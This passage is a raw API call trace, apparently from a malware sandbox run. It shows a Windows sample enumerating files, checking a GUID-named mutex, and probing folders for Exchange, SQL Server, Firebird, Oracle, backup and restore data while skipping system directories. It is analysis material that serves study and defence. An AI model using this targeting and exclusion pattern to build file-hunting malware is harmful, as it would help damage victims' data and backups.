ftLastWriteTime.dwHighDateTime=0x1cbd033, nFileSizeHigh=0x0, nFileSizeLow=0xf1b50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia100.dll", cAlternateFileName="")) returned 1 [0055.350] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0055.350] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0055.350] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.351] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c53c00, ftCreationTime.dwHighDateTime=0x1cbfdf3, ftLastAccessTime.dwLowDateTime=0xbd2c6940, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xc1c53c00, ftLastWriteTime.dwHighDateTime=0x1cbfdf3, nFileSizeHigh=0x0, nFileSizeLow=0xd0d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia90.dll", cAlternateFileName="")) returned 1 [0055.351] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0055.351] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0055.351] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.351] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1c53c00, ftCreationTime.dwHighDateTime=0x1cbfdf3, ftLastAccessTime.dwLowDateTime=0xbd2c6940, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xc1c53c00, ftLastWriteTime.dwHighDateTime=0x1cbfdf3, nFileSizeHigh=0x0, nFileSizeLow=0xd0d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdia90.dll", cAlternateFileName="")) returned 0 [0055.351] GetLastError () returned 0x12 [0055.351] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0055.351] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x803feff7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x803feff7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VGX", cAlternateFileName="")) returned 1 [0055.351] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f104 | out: lpLocalFileTime=0x18f104) returned 1 [0055.351] FileTimeToDosDateTime (in: lpFileTime=0x18f104, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0055.351] GlobalLock (hMem=0x440004) returned 0x550170 [0055.351] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.351] GlobalUnlock (hMem=0x440004) returned 0 [0055.351] GlobalLock (hMem=0x440004) returned 0x550170 [0055.351] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.351] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.351] GlobalUnlock (hMem=0x440004) returned 0 [0055.352] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.352] GlobalUnlock (hMem=0x44000c) returned 0 [0055.352] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.352] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.352] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.352] GlobalUnlock (hMem=0x44000c) returned 0 [0055.352] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.352] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.352] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.352] GlobalUnlock (hMem=0x44000c) returned 0 [0055.352] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.352] GlobalUnlock (hMem=0x440004) returned 0 [0055.352] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.352] SysReAllocStringLen (in: pbstr=0x18f104*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX", len=0x32 | out: pbstr=0x18f104*="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX") returned 1 [0055.352] GlobalLock (hMem=0x440004) returned 0x550170 [0055.352] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.352] GlobalUnlock (hMem=0x440004) returned 0 [0055.352] GlobalLock (hMem=0x440004) returned 0x550170 [0055.352] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.352] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.352] GlobalUnlock (hMem=0x440004) returned 0 [0055.352] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.352] GlobalUnlock (hMem=0x44000c) returned 0 [0055.352] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=26, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Microsoft\\Exchange Server\\ct Edition\\眵?\x18") returned 26 [0055.353] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\Microsoft\\Exchange Server", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a7e0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@聞R耲R企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0055.353] GetLastError () returned 0x3 [0055.353] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\", cchLength=0x33 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vgx\\") returned 0x33 [0055.353] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0055.353] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\眵?\x18") returned 21 [0055.353] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\Microsoft SQL Server", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a7e0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@翌R企@\x18㿬Q\x181")) returned 0xffffffff [0055.353] GetLastError () returned 0x2 [0055.354] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\", cchLength=0x33 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vgx\\") returned 0x33 [0055.354] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0055.354] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\眵?\x18") returned 9 [0055.354] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\Firebird", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a7e0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@℔R企@\x18?T\x18;")) returned 0xffffffff [0055.354] GetLastError () returned 0x2 [0055.354] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\", cchLength=0x33 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vgx\\") returned 0x33 [0055.354] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a6e0, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0055.354] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\眵?\x18") returned 8 [0055.355] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\MSSQL.1", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a7e0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@婴U企@\x18?T\x18D")) returned 0xffffffff [0055.355] GetLastError () returned 0x2 [0055.355] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\", cchLength=0x33 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vgx\\") returned 0x33 [0055.355] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a6e0, cbMultiByte=8, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0055.355] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\眵?\x18") returned 37 [0055.355] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a7e0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@翌R企@\x18℔R\x18j")) returned 0xffffffff [0055.355] GetLastError () returned 0x2 [0055.355] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\", cchLength=0x33 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vgx\\") returned 0x33 [0055.355] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\眵?\x18") returned 37 [0055.356] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\眵?\x18") returned 6 [0055.356] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\Adobe", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a7e0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@婴U企@\x18?T\x18q")) returned 0xffffffff [0055.356] GetLastError () returned 0x2 [0055.356] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\", cchLength=0x33 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vgx\\") returned 0x33 [0055.356] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a6e0, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="adobe\\ℐRP") returned 6 [0055.356] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\眵?\x18") returned 7 [0055.356] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\Oracle", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a7e0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@册U企@\x18?T\x18y")) returned 0xffffffff [0055.356] GetLastError () returned 0x2 [0055.357] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\", cchLength=0x33 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vgx\\") returned 0x33 [0055.357] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a6e0, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0055.357] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\眵?\x18") returned 7 [0055.357] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\Archive", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a7e0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@翌R企@\x18?T\x18\x81")) returned 0xffffffff [0055.357] GetLastError () returned 0x2 [0055.357] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\", cchLength=0x33 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vgx\\") returned 0x33 [0055.357] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a6e0, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0055.357] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\眵?\x18") returned 6 [0055.357] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\Backup", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a7e0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@婴U企@\x18?T\x18\x88")) returned 0xffffffff [0055.358] GetLastError () returned 0x2 [0055.358] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\", cchLength=0x33 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vgx\\") returned 0x33 [0055.358] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a6e0, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0055.358] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\眵?\x18") returned 6 [0055.358] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\Reserv", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a7e0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@册U企@\x18?T\x18\x8f")) returned 0xffffffff [0055.358] GetLastError () returned 0x2 [0055.358] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\", cchLength=0x33 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vgx\\") returned 0x33 [0055.358] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a6e0, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0055.358] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\眵?\x18") returned 7 [0055.358] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\Restore", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a7e0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@翌R企@\x18?T\x18\x97")) returned 0xffffffff [0055.359] GetLastError () returned 0x2 [0055.359] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\", cchLength=0x33 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vgx\\") returned 0x33 [0055.359] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a6e0, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0055.359] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.359] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.359] GlobalUnlock (hMem=0x44000c) returned 0 [0055.359] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.359] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.359] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.359] GlobalUnlock (hMem=0x44000c) returned 0 [0055.359] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.359] GlobalUnlock (hMem=0x440004) returned 0 [0055.359] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\", cchLength=0x33 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vgx\\") returned 0x33 [0055.359] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0055.359] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0055.360] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\", cchLength=0x33 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vgx\\") returned 0x33 [0055.360] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0055.360] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 46 [0055.360] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\", cchLength=0x33 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vgx\\") returned 0x33 [0055.360] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0055.360] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 15 [0055.360] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\", cchLength=0x33 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vgx\\") returned 0x33 [0055.360] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0055.360] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a7d0, cbMultiByte=11, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 11 [0055.360] GlobalLock (hMem=0x440004) returned 0x550170 [0055.360] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.360] GlobalUnlock (hMem=0x440004) returned 0 [0055.360] GlobalLock (hMem=0x440004) returned 0x550170 [0055.360] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.360] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.360] GlobalUnlock (hMem=0x440004) returned 0 [0055.360] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.360] GlobalUnlock (hMem=0x44000c) returned 0 [0055.361] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\", cchLength=0x33 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vgx\\") returned 0x33 [0055.361] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 15 [0055.361] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\", cchLength=0x33 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vgx\\") returned 0x33 [0055.361] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a6e0, cbMultiByte=11, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 11 [0055.361] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\", cchLength=0x33 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vgx\\") returned 0x33 [0055.361] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a6e0, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 9 [0055.361] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\", cchLength=0x33 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vgx\\") returned 0x33 [0055.361] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 18 [0055.361] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\", cchLength=0x33 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vgx\\") returned 0x33 [0055.362] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 28 [0055.362] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VGX\\", cchLength=0x33 | out: lpsz="c:\\program files\\common files\\microsoft shared\\vgx\\") returned 0x33 [0055.362] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a6e0, cbMultiByte=10, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 10 [0055.362] 